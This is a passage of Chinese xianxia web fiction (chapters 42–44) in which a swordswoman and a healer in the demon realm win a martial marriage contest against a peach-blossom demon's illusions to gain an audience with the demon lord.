在八大宗门的修士之间,谈魔域而色变,人人恨不能杀几个魔修泄泄愤,如今亲临魔域,李长缨才知道,这只是一个稍显混乱、民风更加开放的地方罢了。
回头看向奚不言,却见他面色苍白,与殷红的唇瓣形容鲜明对比。
“你……还好吗?”察觉到他的异样,她眉头轻蹙,低声问道。
奚不言微微摇头:“无碍,此地魔气太浓郁,与我体内的灵气冲突,只需按时服药即可。”
说罢,他从芥子囊中取出一粒淡青色丹药,含在舌下。随着丹药逐渐化开,一缕缕灵力顺经络游遍全身,暂时压制住魔气的侵蚀。
他看向李长缨,却发现她神色如常,一呼一吸间,无半分不适。
“你没有觉得不适?”奚不言皱眉。
她一怔,这才意识到问题:“似乎……确实没有。”
身后仍有不少修士从青龙号上,陆陆续续下来,他略一思索,轻声道:“跟我来。”
二人左拐右拐,进入一条比较宽阔的大街。这条街应当算是魔域东境的主街,行人如织,脚下黑石路被踩得油光锃亮,随处可见深浅不一的凹痕,许是哪次修士打斗时法器擦过的痕迹,抑或是妖兽拖拽货物留下的爪印。
两侧建筑高矮错落,有雕梁画栋的药铺、客栈,也有只搭着简易棚顶的摊位。往来者气息驳杂,穿粗布短打的散修背着半旧剑匣,披锦袍的世家弟子被仆从簇拥着,一路拐进赌坊。
偶有未化形完全的妖修混迹其中,不时支起一双兽耳,旁人见了也只当没看见,在这里,只要不直接动手,管你是人是妖,都能各占一块地讨生活。
巡街的魔域卫兵走过,统一身着刻有白骨玄蟒纹的铠甲,那是东境魔尊的代表性图腾,腰间配着制式长刀,不怎么管闲事,对有来自东大陆的灵修出没,早已见惯不怪,连眼神都懒得分一眼。
二人进入一家立在街边的客栈,门面不太起眼,在一扇黑色木门上方,挂着块歪歪斜斜的木牌,用墨笔写着“清风小筑”四个字。
大堂比外头看着宽敞,角落里的炉火烧得正旺,几张木桌随意摆放,伙计踩着木屐穿梭其间。靠墙的位置放了张沉重的柜台,掌柜是个虎族少女,支着脑袋看向门口,头上的耳朵不时颤动一下,手指有一搭没一搭地点着桌面。
“客官,打尖还是住店——”瞥了眼进门的二人,她懒洋洋道。
奚不言温声道:“劳驾,来两间上房。”
她敲敲柜台:“上房两块中品魔晶,一共四块。”
话音未落,两人明显一顿。
糟糕,他们忘了魔域的流通货币是魔晶,芥子囊里装的全是灵石,一颗魔晶也无。
探向芥子囊的手一顿,他抿抿唇,温声道:“姑娘,我二人从东大陆来,暂未换得魔晶,手里只有灵石。用灵石付,你看成么?”
他这个请求并不过分,出客栈右拐,走个十几米,便能碰上一家互兑灵石和魔晶的钱庄。
似笑非笑地打量着二人,掌柜用那涂有蔻丹的指甲敲叩桌面,慢条斯理道:“行啊……四块中品灵石一间。”
怎么还坐地起价?同等级的灵石和魔晶,分明是一比一兑换。
李长缨倒吸一口凉气,眉头紧锁,侧目向他低语:“要不,我们换一家?”
奚不言却轻轻摇头,取出八块中品灵石,一字排开放在柜台上:“成交。”
掌柜见状,耳朵猛地晃了晃,立刻抛来两把黄铜钥匙,笑眯眯道:“二楼天字一号和二号,两位楼上请——”
一进入房间,李长缨忍不住问:“你为何答应她的无理要求?”
奚不言敛眸,折扇轻摇,解释道:“其一,去钱庄兑换魔晶,容易暴露身份,对你我今后行动不便,其二……如今你的事才是头等,我何必在这些事上浪费时间。”
“我的事?”她一愣。
他勾了勾唇:“你就不好奇,为何魔气不会让你不适?”
指尖搭在她腕脉,属于医修的灵力缓缓渡入,细细探查着她的经脉。灵力越深入,他的眉头皱得越紧。
魔气不仅没有侵蚀她的身体,反而如鱼得水般在她经络中流转,甚至隐隐有被吸纳的趋势。
“奇怪……”他低声念叨,“你的身体能兼容魔气?”
李长缨一脸困惑,尝试打坐入定,运转内功,四周萦绕的魔气自然而然被她吸入体内,掌心剑纹微微亮起,一缕暗色气息缠绕其中。
突然,二人同时想到了什么,目光一凝。
她声音微沉:“是恶魂。”
在她体内,恶魂更强,占绝对优势,而魔气本就更亲和恶魂,所以才能被自如吐纳。
“此事不宜声张,”奚不言折扇一收,表情凝重,“能同时引灵气和魔气入体的人,无论在哪方,都不会得到认可。”
这些道理,李长缨自然知晓。光是正道宗门对魔修欲除之而后快的态度,若她能吸纳魔气的事被揭露,等待她的,是以清理门户为由的全方位围剿。
而天极宗那帮势利眼,先前就因她渡劫失败沦为废人,弃之如敝履,打算送给极乐宫,压榨最后一份利用价值,更遑论与魔修有关的事,到时不可能会有人站出来,为她辩白。
他继续道:“如今能做的,唯有尽快寻得《心渊录》,补全你的魂魄,或许能有一线转机。”
“《心渊录》在东境魔尊手中,我们如何能与他见面?”她抚着下巴,凝神细思。
贵为魔尊,自然不会轻易见人,特别是对方是从东大陆来的修士,双方本就立场相悖,魔尊不把他
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们杀了投入魔渊当肥料,都算手下留情了。
必须寻个恰当的理由。
二人重新回到一楼大堂。
掌柜正在摇骰子玩,听见动静,懒懒地抬了下眼皮,拖长声音:“二位客官,又有什么吩咐——?”
“劳烦请问,”李长缨走上前,言辞恳切,“这附近,可有算命摊子?”
闻言,她来了兴趣,坐直身子,手中骰子随意一丢:“算命?好说,我可以给你算。来吧,要算什么,说来听听。”
李长缨:?
如此草率,真的可以么?
见两人不信,她撇撇嘴,从柜台底下摸出面破旧的黑色幡旗,往地上一插——
“天机可测”四个大字,迎风招展。
她叉着腰,微抬下巴:“怎么样?这下信了吧!”
重点不是有没有幡旗好么???
李长缨扶额,心下无奈,斟酌道:“姑娘,我确有急事,还请你不要再戏耍我……”
“戏耍?”奇怪地盯了她一眼,掌柜声音放冷,“本姑娘会算卦这事,十里八乡都知道,轮得到你一个外乡人来质疑?”
“可是……”
“没有可是,”她一拍桌子,“爱算不算,不算滚!顺道把我房间钥匙还回来,本姑娘不允许你们住了!”
奚不言几步上前,挡在剑拔弩张的二人之间,温声道:“姑娘莫急,我二人确实有要事,耽误不得。既然姑娘说会算卦,可否让我看看,你用何物筮卜?”
掌柜“嘁”了声,慢悠悠从桌下继续掏出龟甲、兽骨、蓍草和卦签,零零碎碎堆了一桌。
“喏,都在这里了,”她表情颇有不耐,“选吧。”
看着倒是像模像样,但是……李长缨本以为,他们会找一位仙风道骨的老卦师,想来也靠谱些,如今竟是位明显在搞副业的小姑娘,真的……行吗?
掌柜把玩着龟甲,随口道:“你们还没说,到底要算什么?”
“算……如何能见到东境魔尊。”奚不言压低声音。
“哈?”她双眼圆睁,手中龟甲“啪嗒”一声掉在桌面。
他颔首,一脸严肃:“此事还请姑娘保密。”
“不算了,不算了,”掌柜嘟囔着,一把将桌上物什揽进怀里,“早说啊,浪费我这么多时间。”
李长缨拦住她的动作,声音急切:“姑娘,我二人并无恶意,还请姑娘通融一下,不要告发我们。”
“……我并不打算告发,”她用看傻子的眼神望着他们,吐槽道,“我算是看出来了,你们怕是初到东境,就直接来我这住店了,啥都不知道。”
深吸一口气,她徐徐道:“你们这事……根本不用算卦,出门左拐,问心广场,一去便知。”
问心广场坐落于东境的核心地带,是最繁华富庶的商贾汇集之地,也是魔尊发布大小事宜、号令全城的地方。
二人赶到时,广场外围早已里三层外三层的,围得水泄不通。魔修、妖修和凡人挤在一处,摩肩接踵,热切讨论着什么。
“你听说了吗?妖族公主要比武招亲了……”
“我当然知晓!据说最终胜者,可以得到面见魔尊的机会!”
42. 比武
告示榜下,无数人讨论得热火朝天。
“见到魔尊大人?天哪,那是何等殊荣……”
“不仅如此,还能迎娶妖族公主危弦月,成为妖族的乘龙快婿,做梦都不敢这么梦好吗!”
“可我听说,这个名额早已内定给了妖修柳扶风,你们确定自己还有机会?”
“内定?不可能,哪来的谣言,打出去!打出去!”
就在此时,一道颇不合时宜的声音插了进来,弱弱道:“劳驾,请问见到魔尊大人……有什么好处呢?”
众人低头看去,一位身量较小的女修戴着面帘,一身藕荷色纱裙,点着手指,大大的眼睛一眨不眨。
“嘿,哪来的不知天高地厚的小丫头,竟敢质疑我们魔尊大人,活腻歪了吧?”
“看她装扮,不像我们东境人,莫不是其他魔尊派来的卧底?”
“先举报了再说。喂,那边那个守卫的,来业绩了!”
“不不不,我不是卧底,”她连连摆手,双瞳染上一丝惧色,“我只是一时好奇……各位不肯说便算了,何苦来为难我?”
有人软了语气,解释道:“小妹妹,能见到魔尊大人,本身便是一份殊荣,哪还需要奢求旁的?并且我听说,魔尊大人亲自下令,胜者可挑选他宝库里的任意至宝一件……”
女修欠了欠身,眸中水光潋滟:“原来如此,多谢各位解惑。”
说罢,她猫腰钻入人山人海之中,一眨眼,便不见踪影。
人群之外,李长缨和奚不言并肩而立,看似在打量正在搭建的擂台,实则暗中将对话一字不落地听了进去。
她眼睛一亮,压低声音:“是个机会。只要赢得比武,就能见到魔尊,《心渊录》也会有着落。”
奚不言点头,补充一句:“还能迎娶妖族公主。”
“……这个不是重点,到时拒绝即可,”她一噎,又忍不住怀疑,“公主应该不喜欢女的吧?”
他莞尔一笑:“那可说不准,毕竟是妖族。”
妖族素来以行事放浪随性闻名,不屑于人族的诸多规矩束缚,主张放飞天性、回归自然。是以在婚嫁大事上,也不如人族那般有各种仪式典礼,只要两个看对眼了就成,看不惯就分开。
细思须臾,李长缨下定决心:“不管了,反正这次比武,我势必要拿下,必须搞清楚我魂魄的秘密。”
奚不言颔首,转而道:“但你如今以灵力修炼,此地魔气四溢,对你不利。”
倒是个问题,她沉默了。
虽说自己眼下似乎有吸纳魔气的能力,但在这极短的时间之内,要彻底排除体内灵气,引魔气充盈肺腑丹田,难如登天。
从芥子囊中取出几块上品灵石,他递给李长缨:“用它们,应当能保证你在比武时的灵力供应。”
上品灵石?!
她心里一颤,这种灵石,通常只用来维持高阶法阵运转,或临近突破时,来上一块,助修士成功破境。此等罕物,许多小型宗门都没有几块。而奚不言竟然一口气掏出了……一,二,三,四,五……足足五块!
“你,”她朱唇微张,双眼瞪大,“随身带……上品灵石?”
他丝毫不觉得奇怪,温声道:“自然,远行在外,要多备点盘缠。”
不愧是医修,苦是苦了点,赚的也是真多。
比武招亲的擂台已经搭建起来,决定参赛的选手没几个,都在另一边临时支起的小摊位处,排队签字。毕竟是给妖族公主招亲,在场众人对自己的实力还是有点数的,没那资质,就别痴心妄想。
去排队的人,大多为男子,也有寥寥几位女子,想来跟李长缨一样,只想面见魔尊、求得至宝。
签完字,她和奚不言寻了个擂台脚下的座位,一同坐下。旁边坐的都是来看热闹的人,一边嗑瓜子,一边感叹。
“怎的还不见公主来?”
“没开始呢,不急不急,再等等,你说咱们魔尊大人会来吗?”
“想什么呢,大人会来这种场合?”
“大人不来,谁来当裁判呢?”
“自然是妖皇。想当妖族的赘婿,哼,肯定得先过老丈人那关。”
大家口中的“妖皇”,实则是一只近几年来羽翼渐丰的虎妖,打遍各大妖修,一统妖族,自封“妖皇”。听起来厉害得不行,实则面临一个尴尬的境地——
妖族没有自己的领地。
不管是东大陆,还是西大陆,都被人族修士占了个遍,无数妖修只得夹缝生存,举步维艰,而那些未开灵智的妖族,还会被打上“凶兽”的名号,成为修士演练实战的绝佳选择。
今日东境魔尊愿意为妖族公主举办比武招亲,很可能背地里已达成协议,他为妖族提供一块封地,而妖族献上一件族内至宝。
妖族坐拥无数法宝灵器,这在修真界早已是心照不宣的事。历史上,曾出过大量优秀的妖族炼器师,许多天阶武器也是由他们铸造。传闻剑仙的佩剑“凰音”,便是由一位妖族铸剑师所铸。
高台之上,端坐上首的妖皇用沉沉的目光,扫视众人,扭头问身边侍者:“公主呢?”
侍者俯身恭敬道:“启禀妖皇,公主说她稍后就到。”
“哼,这个孩子,”他略感不满,嘴角抿成一条直线,“真是被我宠坏了!从小就不守时,这种大场合也不知收敛……快去叫她过来!”
“是。”
转过头,看向人声鼎沸的问心广场,他揉了揉眉心,喃喃低语:“莫叫魔尊误会才是。”
坐在他身边的,除了邀请来的几位魔修尊者,还有一位身着淡粉色长衫的男子,眼尾微微上挑,领口袖缘皆缀有桃花瓣纹路,衣袂飘飘间,香气四溢,举手投足带点漫不经心的妖冶。
正是扬言要守擂的桃花妖——柳扶风。
他慵懒地支着头,嗓音如春风拂过:“陛下莫急,月儿她性子就是如此,多等片刻也无妨……”
不等他说完,妖皇一记眼刀飞来,呵斥道:“你还好意思说!月儿就是同你天天厮混在一处,性子才被养得如此顽劣!你难咎其辞!”
柳扶风闻言,缩缩脖子,扮作一副鹌鹑样,不吭声了。
一刻钟后。
有侍卫小跑着来报:“公主殿下到——”
话音未落,回荡在广场上空的喧嚣一扫而净。
妖皇坐直身子,视线牢牢锁定在问心广场的入口处。人声嘈杂的观众席也不约而同安静下来,一齐望向入口,噤声等待公主的光临。
绯红裙摆扫过黑石地面,裙裾上绣的缠枝莲纹,随着步子轻晃,蜷缩,再舒展。视线上移,领口滚着圈雪白狐裘,蓬松得像团云,颈间一大串血红玛瑙项链,在阳光下熠熠生辉。
少女头梳飞天髻,发簪金步摇,眉心绘有玉兰花钿,娇艳动人。
虽未曾露出兽耳与尾巴,但她那扑面而来的贵气,却在告诉在场者,她就是妖族公主——危弦月。
“不愧是公主,当真是美貌无双……”
“咦,领口那圈狐毛看起来品相不错,像是妖族的……又是哪位狐兄遭殃了?”
“我若能娶到这样的女子,便是给我金山银山,我也愿意!”
“兄台你……真是连吃带拿啊,佩服佩服。”
看着众人一副被惊艳到的模样,妖皇满
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意地收回视线,清清嗓子,唇角微扬。
“诸位侠士,今日在此地张灯结彩,不为别的,只因小女年已及笄,到了谈婚论嫁的年纪。小女自幼随我习些拳脚,性子虽烈了些,却也明事理、重情义。”
“我思来想去,不如依她所愿,设下这比武招亲的场子。一来,是想让小女亲眼看上一看,哪个年轻才俊入得了她的眼;二来,也是想借这个机会,会会四方英雄,看看咱各路好汉的神通!”
“规矩简单:点到为止,不可伤人性命,若有哪位英雄能连胜三场,且得小女点头,我便将女儿许配于他,陪嫁一概从厚,绝无二话!”
他还在絮絮叨叨地说着什么,李长缨却再也听不进去,双眸盯着妖族公主的方向,表情一滞。
原因无他,只因这公主长得……和“清风小筑”掌柜一模一样。
不过,衣着打扮不太相同,那掌柜虽也是一身绫罗绸缎,穿得华贵,倒也不似现在这般隆重,金灿灿的大簪子看起来快压弯她的脖子。
“你说,天底下会有长得一模一样的人吗?”她转头对奚不言耳语。
看着妖族公主,他目光一顿,眼中掠过一丝犹疑:“莫非是亲姊妹?”
觉察到两人的视线,危弦月抬眸,饶有兴致地挑了挑眉,唇角勾起浅浅弧度。
是她,绝对是她。
李长缨确信无疑,这幅你能奈我何的表情,除了那个坑钱的掌柜,还能有谁?!
想不到才交谈过的掌柜,摇身一变成为高高在上的公主……当初询问如何能见到魔尊,还是对方指明的这条道路。
危弦月靠坐在高台主位,琥珀色的瞳孔扫视台下众人,姿态散漫。妖皇回头瞥了她一眼,声如洪钟:“吉时已到,比武招亲,现在开始!”
柳扶风足尖轻点,跃至擂台中央,衣袖一甩,懒洋洋道:“都有谁要来?我柳某,奉陪到底。”
第一个上场的,是个身材魁梧的熊妖。他咆哮着冲上擂台,双掌化作利爪,猛地拍向柳扶风。
柳扶风意味不明地哂笑了声,不闪不避,手腕轻旋,袖中飞出片片桃花瓣,花雨漫天,看似柔软无害,实则锋利如利刃,瞬间割破熊妖的手腕。
“扑哧——”
熊妖的右手竟以肉眼可见的速度干瘪下去,转瞬,只剩皮包骨头。
手段之狠辣,令观众无不倒吸一口凉气。
台下有人惊呼:“是独属于桃花妖的‘飞花刃’!”
熊妖惨叫着滚下擂台,柳扶风随意甩甩手,撂下一句:“废物。”
第二个上场的,是位身背巨斧的魔修。他刚踏上擂台,柳扶风突然消失,下一刻,从魔修影子里钻出,一爪掏向后心。魔修勉强侧身,肩头却被撕下大块血肉。
他痛苦地嘶吼着,大退几步,连连喊道:“我认输!我认输!”
才过去不到一炷香的时间,柳扶风已接连打败两人,若再来一位败将,那便是连胜三场,按规定,守擂成功,可迎娶公主。
危弦月失望地撇嘴,显然没看够:“尽是些歪瓜裂枣,不堪大用的废物。”
观众席上,有候选人心生退意,踌躇不前,也有人跃跃欲试,眼里战意澎湃。
奚不言折扇掩面,对李长缨低声道:“他是化形初期,与你旗鼓相当,或有胜之可能。”
妖修的化形初期,相当于修士的金丹初期。
李长缨摩挲着袖中上品灵石,深呼吸几下,眼中多了一份坚定。
此刻不去,更待何时。
青色身影飘然落上擂台。
她解下遮面帷帽,露出易容后的面容,气定神闲道:“我来。”
43. 招亲
有人眯着眼,怀疑道:“这人……似乎是灵修?”
“不用怀疑,你看她全身充盈的灵气,都快溢出来了好吗?!”
“我怎么感觉她看起来有些面熟,似乎在哪里见过……”
李长缨没有立即拔剑,而是先向主座抱拳:“散修李小月,请指教。”
“李小月?是我想的那个李小月吗?!”
“李小月是谁,怎么你们都知道,谁来告诉我呀……”
“嗐,就是那个杀了韩破浪的女修啊,你连这都不知道?”
听见她的名字,柳扶风手一顿,心道自己不过是来给童年伙伴撑场子罢了,怎的还真碰上硬茬。他悄悄回头,看向危弦月,微不可察地摇摇头,表示自己不行。
却见危弦月杏眼圆睁,双手撑住扶手,伸长脖子,一脸兴奋样,就差说“哇哦,高手过招,好刺激”了,丝毫不管他的死活。
多年的友谊小船,真是说翻就翻。
他恨铁不成钢地转回头,看着蓄势待发的李长缨,深吸一口气,手指紧握成拳:“妖修柳扶风,请指教。”
不管了,拼一把,大不了用杀手锏。
李长缨握剑的手紧了紧,面上仍是一副从容之色。从袖中取出一块上品灵石,她微微一捻,灵石中的灵气如涓涓细流注入经脉,缓解了丹田的枯竭感。
下一瞬,柳扶风的身影消失在擂台。
一阵银铃般的笑声传来,忽远忽近,时而如少女嬉戏,时而似怨妇啜泣。她只觉一阵眩晕,连忙运转灵力,稳住心神。
这是桃花妖的幻术前奏,必须尽快找出本体所在。
“少侠,没人告诉过你,不要招惹一只桃花妖么……”声音忽然在耳畔响起,湿热的气息喷在李长缨的耳垂上。
她猛然回身一剑,剑气横扫,斩碎一片虚空,那声音又出现在另一侧:“接下来,好好享受,我为你编织的梦吧……”
粉红色的雾气不知何时已经弥漫开来,视线逐渐模糊,她不再听得见观众席的人声鼎沸,想来已落入幻境之中。
她并不意外,对付桃花妖,必须破开他的幻境,才能获得胜利。李长缨双手结印,星澜剑上泛起星点光芒。
“破!”
剑光如虹,劈开浓雾,眼前景象却让她浑身一震。
这不是天极宗么?
青石小径,翠竹掩映。她低头,发现自己穿着初入山门时的粗布衣裳,手中星澜剑变成了一柄木剑。
她闭了闭眼,眼底一片清明:“不,这是幻境。”
身后传来熟悉的清冷声音。
“你来了。”
李长缨转身,一张又熟悉又陌生的面孔映入眼帘,脸色一变,下意识横剑在身前。
眼前人,赫然是李烟萝。
李烟萝上前几步,斜睨着她,嘴角挑起一抹嘲讽的笑:“李长缨,占据我的身体,好玩吗?”
??
她脸色骤变,猛退几步,连连摇头。
“不……我、我没有,”喉咙像被人攥住了一般,她艰难发出声音,“我不是故意的,我不知道为何会这样……”
多么苍白无力的辩解,她自己也知道。
“你是个小偷,”李烟萝双眼微眯,眸中寒光乍现,丝毫不打算放过她,“用我的修为,用我的本命剑,如今还要彻底占据我的身份……”
“你凭什么?”
句句质问如同枷锁,绞得李长缨呼吸困难,面色惨白,浑身像被人施了定身术般,僵立在原地,一动也不能动。
李烟萝一步步逼近,手中星澜剑直指她心口。
剑锋即将刺入心脏的刹那,她猛地抬头,眼中暗光一闪:“不对,你不是李烟萝,她从不会这样说话!”
灌注进她脑海中,属于原身的记忆里,李烟萝一向举止温婉,谈吐优雅,像这般嘲讽、挖苦别人的话语,从未说过。
周遭景象如同镜面般碎裂,李长缨眼前一花,发现星澜剑的剑尖已经抵在自己咽喉处,只差一寸便要自刎。她急忙撤回,后背被冷汗浸透。
“好险……”喘息着,她又取出一块上品灵石,给自己补充灵力。
这幻境乱她心境,必须速战速决。
柳扶风的笑声再次响起,这次带着几分恼怒:“想不到一介散修,道心倒是通明。不过接下来这招,看你如何应对——”
话音未落,一阵天旋地转。再睁眼时,李长缨发现自己正处于一片血泊中。
往上看,一棵参天大树荫蔽阳光,枝叶尖不时有血珠滚落,滴在她脸上,可她闻不到血腥味。或者说,由于全身已被鲜血染透,血腥味遮盖住一切旁的味道,她的嗅觉近乎失灵。
尝试着坐起身,肩关节处一阵钝痛传来,疼得她轻轻“嘶”了声,下意识寻找疼痛感的来源。
我的左手呢?
身侧,原本属于左手的位置空空荡荡,肩膀炸开一个巨大的血洞。她茫然地眨眨眼,抬眸,正上方的树梢间,孤零零地挂着一节断臂。
脑子里“轰”的一声,一片空白。
毫无疑问,这个场景,是她坠崖后的遭遇。若她未曾意外穿到李烟萝的身上,这便会是临死前的最后记忆。
她瞬间有些恍惚。
这多日经历,横渡无望海、入归墟秘境、亲身赴魔域,究竟是现实,还是她弥留之际的一段臆想?
真正的李长缨已经死在崖底,如今四处游荡的,不过是一缕游魂……吗?
只是如此吗?
从前经历的一切,明明白白印在心头,如今却告诉她,只是镜花水月一场梦,可能么?
“这不是真的,”李长缨拼尽全力抬起右手,猛掐一把大腿,试图让自己清醒些许,“我没有死……对,我穿越了,我没有死……”
“这是幻境!都是假的!”她闭眼大喊,但鼻腔中浓郁的血腥味,失去左臂的钝痛感,都是那么真实。
道心隐隐开始动摇,她仅存的右手不住颤抖,几乎拿不稳长剑。就在此时,袖中上品灵石突然发烫,烫得她一个激灵。
“对了,灵石。”她猛然醒悟,不顾正迅速失血的痛楚,盘膝而坐,将三块灵石握在掌心,全力运转心法。
灵气如洪水般涌入经脉,丹田之上,金丹急速旋转。她缓缓睁眼,唇瓣轻启,一字一顿道——
“一剑破万法!”
剑鸣清越,千道剑气向四面八方迸射而去,幻境片片碎裂,粉雾一扫而空,露出擂台模样。
“唔!”
柳扶风单膝重重砸在地上,以手撑地,低着头,胸口剧烈起伏,嘴角溢出一丝鲜血。
受杀手锏反噬,他的妖力在转而攻击自身。
“你、你怎么可能?”他瞳孔微张,心中掀起惊涛骇浪。
这个女修,虽说与他修为旗鼓相当,但到底只是一介散修,恐怕不曾学过高深功法,而他可是使出了桃花妖的绝技——双重幻境,她怎能如此快地破开?!
本打算用幻境困她一炷香的功夫,他再见好就收,将人放出,逼她投降,可是……一切都被打乱了。
李长缨不给
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对方喘息之机,剑随身走,直取桃花妖的咽喉。
就在这千钧一发之际——
“且慢!”
妖皇蓦地起身,急喝道。
看向她的目光中,他多了一份审视,再次重复:“这位侠士,本次招亲点到为止,不得取人性命。”
李长缨听话地收起长剑,淡淡道:“我赢了。”
身手不错,修为也还行,就是……怎的是个女的?妖皇在心中暗自叹息,据他对自己小女的了解,应当是没有磨镜之好的。
唉,难办。
柳扶风擦了擦唇角血迹,挽起散落的发丝,露出摄魂夺魄的眉眼,朝妖皇一礼:“陛下莫急,按规定,需连胜三场,方可守擂成功。李道友如今只赢了一场,不算最终胜利。”
妖皇眼睛一亮,立刻沉声道:“正是!这位侠士,你还需再赢两人,才算本次比武招亲的最终胜者。”
对于这个问题,李长缨没有异议,看向观众席,云淡风轻道:“还有谁要与我比试?现在上台即可。”
说罢,她侧身让开些许,表示静候光临。
场中顿时窃窃私语起来。
“……开玩笑,现在上去,找死么?”
“先前那桃花妖有多厉害,我们又不是没看到,如今这个来路不明的散修,一举打败他,简直是恐怖如斯!”
“你去吗?反正我不去,我惜命。并且我觉得,公主跟她也挺好的,武力值高,同为女子也能互相照拂,天选良配啊……”
静静等了一刻钟,依然无人上场。
回头看向妖皇,她遗憾道:“似乎没人愿意来。”
妖皇:“……”
把你语气中的窃喜收收,行吗?
他内心咆哮,面上波澜不惊,捋捋胡须,反复拿不定主意。
众目睽睽之下,他不能出尔反尔,但就让宝贝女儿往后跟这么个来历未知、动机未知的人,如何也不能放心。
“你……”思量再三,他沉沉开口,迎上李长缨期待的目光,顿了顿,继续道,“是赢了本次擂台不错,但我之前已经说明,还需我小女点头,才算数。”
他回头看向危弦月:“月儿,你怎么看?”
高台之上,危弦月正在百无聊赖地玩指甲,也不知是否听清他说的话,直接道:“好。”
“你看,我女儿也不……什么?!”他大步走到她身边,横眉倒竖,“你敢再说一遍?我告诉你,这门婚事,我不同意!”
危弦月耸耸肩:“嫁谁不是嫁?我看李姑娘挺好的。”
几步跃下高台,她行至李长缨身边,眨眨眼:“李姑娘,你是来娶我的吗?”
“呃,这……”被架在火上烤的人变成自己,李长缨心里一颤,瞟了眼奚不言,小声道,“公主殿下,我身为女子,多有不便,要不您另择佳婿?”
“扑哧。”
危弦月掩口轻笑,回身走回高台,矜傲道:“我并非强人所难之辈,既然妾有情,妾无意,不如就此作罢。”
“好!”妖皇大松一口气,扬声道,“小女不愿,那婚事便不算数!不过嘛,李大侠过关斩将,守擂成功,依然是本次比武招亲的胜者!”
看向一旁稳坐高台,保持沉默的魔修,他微微俯身道:“副手大人,您看这……”
魔修一袭黑袍裹满全身,唯留一双漆黑如墨的眼睛,正是东境魔尊的四大副手之一,绝念君。
他饶有兴致地盯着李长缨,慢吞吞起身,走到她面前,弯了弯眉眼:“李姑娘,魔尊大人有请——”
44. 伎俩
一番波折,李长缨和奚不言总算得到了面见魔尊的机会。
绝念君走在前头,边走边向二人介绍:“面见魔尊大人,须经过‘往生谷’。在那里,你们会受真露洗濯,验明正身。”
她好奇道:“真露是何物?”
在东大陆,能让易容失效的物品,无外乎是洗伪符、净颜露之类,至于真露,闻所未闻。
奚不言温声解释:“真露乃无色无味的液体,可以洗去一切易容伪装。”
瞥了他一眼,绝念君笑道:“这位公子,似乎对这些很熟悉?”
真露是魔域特产,从东大陆而来的二位能对此物如此熟悉,不免让人惊讶。
“医修的本分罢。”奚不言淡淡回应。
往生谷坐落于断山褶皱间,是前往东境魔尊居所的唯一通道。谷中设有术法,寻常修士纵使御剑飞掠百里,也难窥其入口。偶有误打误撞进入其间者,绝大多数都会迷失在层层叠叠的阵法秘境之中。
入谷是三里黑石道,一座石碑立在入口处,刻着“往生谷”三个血字,字迹已有些斑驳。
不知情者,大概会以为这便是真正的入口,随即开始攀登黑石道,那便大错特错了。除浪费体力外,还可能招致非同寻常的猛兽攻击,修为尽废、命丧黄泉皆有可能。
若要问这些猛兽从何而来,传闻东境魔尊性情暴虐,喜好猛禽凶兽,专门从各处搜罗过来,养在往生谷中。往日那些迷路的可怜儿,都会成为这些“宠物”的盛宴。
绝念君停在石碑旁,从袖中取出一枚黑色晶石,捏碎。晶石粉末在空中形成一道旋涡状的门户:“二位请随我来,路有些复杂。”
跨入旋涡的瞬间,天摇地动。
李长缨眼前一黑,赶紧抓住腰侧的星澜剑和奚不言的衣角,才有了几分安全感。
黑暗未曾持续多久,不过须臾,她眼前有了光亮,鼻尖传来泥土的腥气。
三人置身于一条幽静长廊,廊下小桥流水,游鱼翕忽。
“第一程,洗尘廊,”绝念君头也不回地往前走去,“未洗去易容者,不可得见大人。”
话音刚落,廊顶突然降下蒙蒙细雨。李长缨本能地要撑起护体灵光,却被奚不言按住手腕:“别抵抗,这便是‘真露’,只会洗去易容,对身体无害。”
细雨淋身,没有想象中的不适感,反而如春风般温和。小水珠落在眼睫上,她那纤长的睫毛颤了颤,不由得闭目静候。
再睁眼时,女子眉目清绝,神情冷淡漠然。她低头,看见自己手臂上几道旧伤疤痕显露出来,那些本是被易容术遮掩的。
奚不言也被洗去了伪装,五官更为立体,一双狐狸眼微微上挑。
绝念君扫了眼露出原本面容的二人,视线短暂停留一瞬。
来魔域的修士大多会选择易容,这并不稀奇,只是……眼前两位长得有些眼熟,他似乎在哪里见过。
冥思苦想几瞬,他没有头绪,只得暂时放弃,继续带路。
穿过洗尘廊,前方出现三道岔路。他停步转身:“接下来需经三重考验,才可面见魔尊。”
“第一重,问心路。”
李长缨打断他:“我既赢得比武,便已获得面见魔尊的资格,为何还要经过考验?”
他公事公办道:“道心不正者,无缘得见大人。”说罢,他指向左侧岔路:“请二位分别进入,回答三个问题。若答案令守卫满意,方可继续前行。”
奚不言再次打断他:“依阁下的安排,岂不是答得不对,便不能见到魔尊了?那赢得比武招亲的意义是……?”
绝念君笑容不减,嗓音微沉:“身为下属,保障大人安危是头等大事。别有用心之人,不得面见大人。二位还有问题么?”
虽是问句,其实也是明摆着告诉二人:要么,接受重重考验顺利过关,要么,直接撂挑子走人。
反正有求于人的是他们,魔尊一方才不会考虑是否合理。
初来魔域,这是李长缨第一次感受到,魔域中人行事是这般随心所欲,毫无顾忌……换做八大宗门,或许还有回旋余地,但在这里,怕是再多议论几句,对方就会直接说出门右转不送了。
深呼吸几下,她大步走入左侧岔路。
通道尽头,是间一丈见方的石室,中央坐着位同样全身裹满黑袍的老妇,面前摆着一面纹饰繁复的铜镜。
“剑修李小月,”她声音嘶哑,“第一个问题,你为何执剑?”
李长缨不假思索:“为斩妖除魔,护佑苍生。”
铜镜泛起涟漪,映出她曾经斩杀过的妖兽,老妇点头:“第二个问题,你可曾错伤无辜?”
她毫不犹豫道:“不曾。”
铜镜再度泛起涟漪,荡漾几瞬,归于平静,镜中一片虚无。老妇叹息:“最后一个问题,若魔尊大人赐你最想要之物,但要你永远留在魔域,你可愿意?”
沉默片刻,她轻声道:“我不愿,我之道在天地间,不在方寸之地。”
铜镜霎时大放光明,照亮整个石室,老妇满意地笑了:“问心无愧,道心澄澈。李小友,请吧。”
李长缨走出石室,奚不言已在外面等候。两人对视一眼,都从对方眼中看到一丝疑虑。
“这个所谓的‘问心路’有鬼,”她在传音入密中直言,“方才守卫问的三个问题,我并非全数坦诚相告,但对方没有觉察到。”
单论当初为何入剑道,对李长缨而言,远没有如此高大上。三年前,家中爹娘意外双亡,生活难以为继,她偶然听说天极宗在招新弟子,抱着试一试的心态去碰碰运气,谁曾想,竟被选上了。
思及此,她的眸色黯淡了几分。爹娘的面孔在她记忆中已经模糊,与他们的相处细节,她更是记不得了……就连爹娘的名姓,她张了张嘴,也一时说不出口。
等等,爹、娘的名姓,她怎会忘记?可凝神回忆,过往记忆如同雾里看花,始终不大真切。
